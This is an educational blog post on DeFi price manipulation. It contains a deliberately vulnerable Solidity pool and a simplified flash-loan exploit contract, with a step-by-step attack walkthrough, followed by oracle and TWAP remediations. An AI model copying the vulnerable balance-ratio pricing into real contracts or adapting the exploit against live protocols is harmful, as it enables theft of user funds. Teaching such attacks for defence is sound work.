Back to blogs
Written by
Hans
Published on
May 14, 2025

Solodit Checklist Explained (7): Price Manipulation Attacks

Learn how DeFi price manipulation attacks work using flash loans and weak oracles, with Solidity examples, real incidents, and key defenses from the Solodit checklist.

Table of Contents

Welcome back to the "Solodit Checklist Explained" series.

Today, we are diving into Price Manipulation Attacks.

These attacks are a prevalent threat in decentralized finance (DeFi), exploiting vulnerabilities in protocols to artificially skew asset prices for illicit profits. In 2024 alone, these attacks have accounted for over $52 million in losses across 37 incidents, making them the second most damaging attack vector. Attackers often leverage flash loans or exploit weak oracles to create price discrepancies, impacting critical components like lending platforms, decentralized exchanges (DEXs), and stablecoins.

This article covers two critical items from the Solodit checklist, focusing on vulnerable pricing mechanisms that can be exploited and how to build manipulation-resistant systems.

For the best experience, open a tab with the Solodit checklist to refer to it as you read.

Note
: We have previously covered topics including denial-of-service (part 1, part 2), donation attacks, front-running attacks, griefing attacks, and miner attacks. Make sure to check them out!

SOL-AM-PMA-1: Is the price calculated by the ratio of token balances?

  • Description: Price can be manipulated via flash loans or donations if it is derived from the ratio of token balances.

  • Remediation: Use Chainlink oracles for the asset prices.

Calculating prices from token balances within a single contract seems straightforward: the ratio of Token A to Token B in a pool dictates the price. However, attackers can temporarily alter these balances using flash loans or direct donations, causing wild price swings. We previously discussed how attackers can manipulate protocol state via donation attacks, which often rely on distorting internal balances to affect values like 'share price'. Flash loans exploit similar principles, allowing attackers to temporarily manipulate the underlying token balances used for pricing within a single transaction.

Let's examine how an attacker exploits a simple DEX where the price is derived directly from token balances.

// Pool.sol (Simplified for illustration)
// Represents a simple liquidity pool vulnerable to balance manipulation
contract Pool is FlashLoanProvider { // Assume FlashLoanProvider is implemented elsewhere
    IERC20 public immutable tokenA;
    IERC20 public immutable tokenB;


    constructor(IERC20 _tokenA, IERC20 _tokenB) {
        tokenA = _tokenA;
        tokenB = _tokenB;
    }


    // Simplified swap function
    function swap(IERC20 tokenIn, uint256 amountIn) external returns (uint256 amountOut) {
        require(tokenIn == tokenA || tokenIn == tokenB, "invalid token");
        IERC20 tokenOut = tokenIn == tokenA ? tokenB : tokenA;


        // Transfer tokens in
        require(tokenIn.transferFrom(msg.sender, address(this), amountIn), "transfer in failed");


        // Calculate amount out based on price
        uint256 price = getPrice(tokenIn, tokenOut);
        amountOut = amountIn * price / 1e18;


        // Transfer tokens out
        require(tokenOut.transfer(msg.sender, amountOut), "transfer out failed");


        return amountOut;
    }


    // Vulnerable price calculation based on current pool balances
    function getPrice(IERC20 tokenIn, IERC20 tokenOut) public view returns (uint256) {
        uint256 balIn = tokenIn.balanceOf(address(this));
        uint256 balOut = tokenOut.balanceOf(address(this));


        if (balIn == 0 || balOut == 0) {
            return 1e18; // 1:1 initial price
        }


        // Price is the ratio of output token to input token
        return balOut * 1e18 / balIn;
    }


    // ... (flashLoanExternal and FlashLoanProvider logic assumed) ...
}


// Exploit.sol (Simplified for illustration)
// Contract to execute the flash loan and exploit
contract Exploit is IFlashLoanReceiver {
    Pool public pool;
    IERC20 public tokenA;
    IERC20 public tokenB;
    address public attacker;


    constructor(
        Pool _pool,
        IERC20 _tokenA,
        IERC20 _tokenB,
        address _attacker
    ) {
        pool = _pool;
        tokenA = _tokenA;
        tokenB = _tokenB;
        attacker = _attacker;
    }


    function attack(uint256 loanAmount) external {
        // Get the flashloan of tokenA
        pool.flashLoanExternal(address(this), tokenA, loanAmount);
    }


    function receiveFlashLoan(IERC20 token, uint256 loanAmount) external override {
        require(token == tokenA, "Expected tokenA flash loan");


        // Step 1: Now the pool has less tokenA, so the price of tokenA (in terms of tokenB) is higher


        // Step 2: Swap tokenA for tokenB at this manipulated rate
        uint256 swapAmount = 100 * 1e18;
        tokenA.transferFrom(attacker, address(this), swapAmount);
        tokenA.approve(address(pool), swapAmount);
        uint256 receivedB = pool.swap(tokenA, swapAmount);


        // Step 3: Repay the flash loan
        tokenA.transfer(address(pool), loanAmount);


        // Step 4: Send profits to attacker
        uint256 remainingBalanceA = tokenA.balanceOf(address(this));
        uint256 remainingBalanceB = tokenB.balanceOf(address(this));


        if (remainingBalanceA > 0) {
            tokenA.transfer(attacker, remainingBalanceA);
        }


        if (remainingBalanceB > 0) {
            tokenB.transfer(attacker, remainingBalanceB);
        }
    }
}


In this scenario, the Pool contract's getPrice function calculates the exchange rate based on the current balances of tokenA and tokenB held by the pool. This dependency on internal, easily altered state is the core vulnerability.

How the attack works

  1. Setup: The attacker funds the Exploit contract with a small amount of tokenA (swapAmount) that they will use for the exploitative swap.

  2. Flashloan: The attacker calls attack on the Exploit contract, initiating a large flash loan of tokenA from the Pool contract itself. This loan executes before the receiveFlashLoan function returns.

  3. Price manipulation (inside receiveFlashLoan): While the flash loan is active, the Pool's tokenA balance is artificially low. When the Exploit contract calls pool.swap(tokenA, swapAmount), the Pool's getPrice function calculates a price based on these temporarily distorted low tokenA reserves. This leads to a manipulated price where tokenA looks much more valuable than it is under normal conditions.

  4. Exploitative swap (inside receiveFlashLoan): The Exploit contract swaps a small amount of its own pre-funded tokenA for tokenB using the pool.swap function. Due to the manipulated price, this swap yields a disproportionately large amount of tokenB.

  5. Repay loan (inside receiveFlashLoan): The Exploit contract repays the large tokenA flash loan to the Pool contract. The receiveFlashLoan call must complete successfully, meaning the loan is repaid.

  6. Profit (after receiveFlashLoan returns): The Exploit contract now holds the original swapAmount of tokenA (or slightly less due to fees, though fees are omitted in this simplified example) plus the excess amount of tokenB received from the manipulated swap. The remaining tokens are sent back to the attacker's address, realizing the profit in tokenB.

Remediation: using reliable price sources (oracles)

The robust solution is to stop relying on on-chain balance ratios for price calculation and integrate external price oracles, such as Chainlink. Oracles offer reliable, tamper-resistant off-chain price data, significantly hardening contracts against manipulation based on internal state.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;


import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";


// Example price consumer contract illustrating oracle integration
contract DataConsumerV3 {
    AggregatorV3Interface internal dataFeed;


    // The address of the price feed is passed during deployment
    constructor(AggregatorV3Interface _dataFeed) { // Corrected variable name typo
        dataFeed = _dataFeed;
    }


    /**
     * Returns the latest answer from the Chainlink feed.
     * IMPORTANT: This is a simplified example. Real-world usage requires
     * validating the oracle response (staleness, round ID, etc.).
     */
    function getChainlinkDataFeedLatestAnswer() public view returns (int256) { // Changed return type to int256 for clarity
        (
            /* uint80 roundId */,
            int256 answer,
            /*uint256 startedAt*/,
            /*uint256 updatedAt*/,
            /*uint80 answeredInRound*/
        ) = dataFeed.latestRoundData();


        // ADDITIONAL VALIDITY CHECKS ARE CRUCIAL HERE TO ENSURE THE DATA IS TRUSTWORTHY.
        // e.g., check that updatedAt is recent, roundId is not deprecated, etc.
        // WE WILL COVER THESE ESSENTIAL CHECKS IN LATER PARTS OF THIS CHECKLIST SERIES.


        return answer;
    }
}


By fetching prices from a Chainlink feed, the contract decouples its price logic from its internal, manipulable state and external, volatile spot markets, significantly reducing the attack surface.

Note that there must be additional checks on the data received from the oracle to ensure its validity and freshness. Neglecting these checks can create a different kind of oracle vulnerability. As mentioned in the code comments, we will cover these essential checks in later parts of the checklist series.

Examples are available on my GitHub here.

SOL-AM-PMA-2: Is the price calculated from DEX liquidity pool spot prices?

  • Description: Spot price readings derived directly from DEX liquidity pools are vulnerable to manipulation through flash loans that can temporarily drain the pools.

  • Remediation: Use TWAP (time-weighted average price) with appropriate time windows based on asset volatility and liquidity, or use reliable oracle solutions.


In the previous section, we established that relying solely on a contract's internal token balance ratios for pricing is unsafe. However, what about getting prices from external sources like large DEX liquidity pools (e.g., Uniswap, SushiSwap)? Despite the risks, DEX spot prices still tempt developers with perceived benefits: their decentralized nature, cost efficiency (avoiding oracle fees), transparency, and instant pricing, especially for new tokens. Unlike dedicated oracle networks, they use only on-chain data, seemingly avoiding external dependencies.

But their mathematical simplicity, tied directly to volatile pool reserves (x * y = k), makes them manipulation targets via strategic trades, similar to the smaller pool example we discussed. Attackers can exploit this by executing large trades (often funded by flash loans) to temporarily skew the pool's balances, causing the spot price reported by the pool to spike or plummet, depending on the direction of the trade. This risk is especially pronounced for low-liquidity pools, where even moderately sized trades can cause significant price shifts.

Remediation: Time-weighted average price (TWAP)

To mitigate price manipulation using sudden spot price changes, one can use a TWAP. Instead of taking an instant snapshot (spot price), a TWAP averages prices over a defined period, typically ranging from minutes to hours. 

This significantly blunts the impact of short-term manipulations. A TWAP works by recording cumulative prices at specific intervals and computing the average price between two timestamps. 

To significantly skew a TWAP over its window, an attacker must sustain a distorted price for the duration of that window. This is a considerably more costly feat than a fleeting flash loan manipulation. Especially in high-liquidity pools, the trades necessary to hold a skewed price would incur substantial slippage or require immense capital.

Protocols like Uniswap offer native TWAP oracles built directly into their contracts, and the concept is explained very well in their article

The TWAP approach is particularly effective for applications that can tolerate some price latency, such as settlement layers, treasury operations, or slow-moving markets. However, the time window is a crucial design parameter: a longer window increases manipulation resistance but introduces more latency in price updates; a shorter window is quicker but easier to manipulate. The optimal window must be carefully chosen based on the asset's volatility, pool liquidity, and the specific requirements of the protocol using the price feed.

Conclusion

We've explored critical vulnerabilities related to price manipulation in DeFi protocols. By understanding how attackers can distort on-chain price calculations, whether from direct contract token balances or volatile DEX spot prices, developers can build stronger defenses. The increasing sophistication of DeFi requires robust security measures integrated from the ground up. For further resources, check out the Cyfrin audit checklist.

Key takeaways:

  1. Token balance ratios are unsafe: Never derive critical asset prices solely from a contract's internal token balances.

  2. DEX spot prices are volatile: Avoid relying on raw, instantaneous spot prices from liquidity pools for significant financial operations.

  3. Oracles provide resilience: Reliable oracle networks like Chainlink offer more trustworthy, manipulation-resistant price data sourced externally.

  4. TWAP is a powerful tool (for DEX sources): If using DEX data, implement TWAPs over sufficient time windows to smooth price variations and deter flash loan attacks.


Integrating these principles into your development significantly reduces the risk of price manipulation attacks, contributing to a safer and more reliable DeFi ecosystem.

Next time, we'll continue dissecting the Solodit checklist, exploring more facets of smart contract security from an attacker's perspective. Stay vigilant, code thoughtfully, and always think like an attacker.

Secure your protocol today

Join some of the biggest protocols and companies in creating a better internet. Our security researchers will help you throughout the whole process.
Stay on the bleeding edge of security
Carefully crafted, short smart contract security tips and news freshly delivered every week.